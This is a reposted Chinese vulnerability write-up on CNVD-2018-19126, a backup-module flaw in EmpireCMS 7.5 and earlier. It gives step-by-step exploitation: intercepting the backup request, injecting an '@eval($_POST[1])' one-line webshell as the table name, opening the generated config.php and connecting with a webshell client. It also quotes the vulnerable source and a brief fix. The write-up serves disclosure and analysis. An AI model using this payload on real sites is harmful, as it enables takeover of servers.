CNVD-2018-19126 EmpireCMS后台任意代码执行可GetShell
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CNVD-2018-19126 EmpireCMS后台任意代码执行可GetShell相关的知识,希望对你有一定的参考价值。
[漏洞描述]
EmpireCMS
是一套免费的CMS(内容管理系统)。
EmpireCMS 7.5版本及之前版本
在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。
[影响版本]
<=7.5
[漏洞危害]
高
[漏洞位置]
/e/admin/admin/ebak/phome.php
[系统]-[系统设置]-[备份与恢复数据]-[备份数据]
[漏洞利用]
在[系统]-[系统设置]-[备份与恢复数据]-[备份数据]
,选择任意数据表。
使用Burpsuit
截取数据包。
将表名修改为一句话***。
#字段
tablename[]=xxxxxxxx
# 修改为:
tablename[][email protected]($_POST[1])
在[系统]-[系统设置]-[备份与恢复数据]-[管理备份目录]
处,点击查看备份说明
。
点击[查看备份说明]
,将URL结尾
处的readme.txt
修改为config.php
使用菜刀连接。
[漏洞分析]
系统在/upload/e/admin/ebak/phome.php
文件中接受备份数据库传递的参数。
elseif($phome=="DoEbak")
{
Ebak_DoEbak($_POST,$logininid,$loginin);
}
接受参数后,传递到uploadeadminebakclassfunctions.php
文件中的Ebak_DOEbak
函数中。Ebak_DOEbak
函数接受参数后,将数据库表名传递给变量$tablename
。
$tablename=$add[‘tablename‘];
$count=count($tablename);
if(empty($count)){
printerror("MustChangeOneTable","history.go(-1)");
}
$add[‘baktype‘]=(int)$add[‘baktype‘];
$add[‘filesize‘]=(int)$add[‘filesize‘];
$add[‘bakline‘]=(int)$add[‘bakline‘];
$add[‘autoauf‘]=(int)$add[‘autoauf‘];
if((!$add[‘filesize‘]&&!$add[‘baktype‘])||(!$add[‘bakline‘]&&$add[‘baktype‘])){
printerror("FileSizeEmpty","history.go(-1)");
}
系统对表名遍历将其赋值给$b_table
和$d_table
。在$d_table
处将表名拼接为字符串。对拼接而成$tb
数组未对其中的键值名添加双引号。
$b_table="";
$d_table="";
for($i=0;$i<$count;$i++){
$tablename[$i]=RepPostVar($tablename[$i]);
$b_table.=$tablename[$i].",";
$d_table.="$tb[".$tablename[$i]."]=0;
";
}
在生成config.php
文件的过程中,对于$d_table
没有进行处理,直接拼接到生成文件的字符串中,导致任意代码执行漏洞。
$string="<?php
$b_table="".$b_table."";
".$d_table."
$b_baktype=".$add[‘baktype‘].";
$b_filesize=".$add[‘filesize‘].";
$b_bakline=".$add[‘bakline‘].";
$b_autoauf=".$add[‘autoauf‘].";
$b_dbname="".$dbname."";
$b_stru=".$bakstru.";
$b_strufour=".$bakstrufour.";
$b_dbchar="".addslashes($add[‘dbchar‘])."";
$b_beover=".$beover.";
$b_insertf="".addslashes($insertf)."";
$b_autofield=",".addslashes($add[‘autofield‘]).",";
$b_bakdatatype=".$bakdatatype.";
?>";
$cfile=$bakpath."/".$add[‘mypath‘]."/config.php";
WriteFiletext_n($cfile,$string);
插入恶意代码后生成的config.php
文件。
<?php
$b_table="@eval($_POST[1])";
$tb[@eval($_POST[1])]=0;
$b_baktype=0;
$b_filesize=300;
$b_bakline=500;
$b_autoauf=1;
$b_dbname="empirecms";
$b_stru=1;
$b_strufour=0;
$b_dbchar="gbk";
$b_beover=0;
$b_insertf="replace";
$b_autofield=",,";
$b_bakdatatype=1;
?>
[漏洞修复]:
在生成config.php文件时对表名处增加双引号。
以上是关于CNVD-2018-19126 EmpireCMS后台任意代码执行可GetShell的主要内容,如果未能解决你的问题,请参考以下文章
帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)
帝国CMS 网站首页Powered by EmpireCMS怎么去掉